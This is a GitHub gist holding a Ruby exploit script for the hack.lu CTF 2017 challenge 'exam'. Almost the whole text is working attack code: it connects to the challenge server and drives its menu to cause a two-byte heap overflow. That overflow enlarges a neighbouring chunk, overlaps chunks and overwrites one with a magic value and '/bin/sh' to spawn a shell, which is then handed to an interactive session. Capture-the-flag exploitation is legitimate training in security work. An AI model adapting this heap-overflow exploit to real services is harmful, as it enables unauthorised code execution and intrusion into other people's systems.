Created
October 19, 2017 10:08
-
-
Save tharina/d01077c7cf6a6d9b2e78ca7c96d3883f to your computer and use it in GitHub Desktop.
Exploit for hack.lu CTF 2017 challenge "exam"
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env ruby | |
require 'socket' | |
class TCPSocket | |
def recv_until val | |
data = "" | |
while true do | |
tmp = self.recv 1024, Socket::MSG_PEEK | |
if i = tmp.index(val) | |
data << self.recv(i + val.size) | |
return data | |
else | |
data << self.recv(1024) | |
end | |
end | |
end | |
def peek length=1024 | |
self.recv length, Socket::MSG_PEEK | |
end | |
def interact | |
begin | |
while true do | |
ready = IO.select([self, $stdin]) | |
ready[0].each do |source| | |
case source | |
when self | |
input = self.recv 4096 | |
$stdout.print input | |
when $stdin | |
self.print $stdin.gets | |
else | |
raise StandardError | |
end | |
end | |
end | |
rescue Interrupt | |
return | |
end | |
end | |
def puts s | |
$stdout.puts s | |
super s | |
end | |
end | |
target = :remote | |
case target | |
when :local | |
host = 'localhost' | |
port = 4444 | |
when :remote | |
host = 'flatearth.fluxfingers.net' | |
port = 1745 | |
end | |
$s = TCPSocket.new host, port | |
def prompt | |
answer = $s.recv_until ">" | |
print answer | |
end | |
def add summary | |
$s.puts "1" | |
prompt | |
$s.puts summary | |
prompt | |
end | |
def del index | |
$s.puts "2" | |
prompt | |
$s.puts index | |
prompt | |
end | |
def study index | |
$s.puts "3" | |
prompt | |
$s.puts index | |
prompt | |
end | |
def crib | |
$s.puts "4" | |
prompt | |
end | |
def tear | |
$s.puts 5 | |
prompt | |
end | |
def exam index | |
$s.puts "6" | |
prompt | |
$s.puts index | |
end | |
# | |
# 2 byte overwrite on heap -> increase size of next chunk -> overlapping chunks | |
# | |
# alloc chunk #0 of size 0x90 | |
add "A" * 100 | |
# alloc chunk #1 of size 0x30 | |
crib | |
# alloc chunk #2 of size 0x90 | |
# include fake chunk header | |
add "B" * 80 + [0x31].pack("Q") | |
# free chunk #0 | |
del 0 | |
# alloc chunk #0 of size 0x90 | |
# 2 byte overflow -> set size of chunk #1 to 0x90 | |
add "C" * 128 + "\x91" | |
# free chunk #1 (new size 0x90) | |
tear | |
# alloc chunk #1 of size 0x90 | |
# overwrite chunk #2 | |
add "D" * 0x28 + [0x434947414d535449].pack("Q") + "/bin/sh" | |
# use summary in chunk #2 | |
exam 1 | |
$s.interact |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment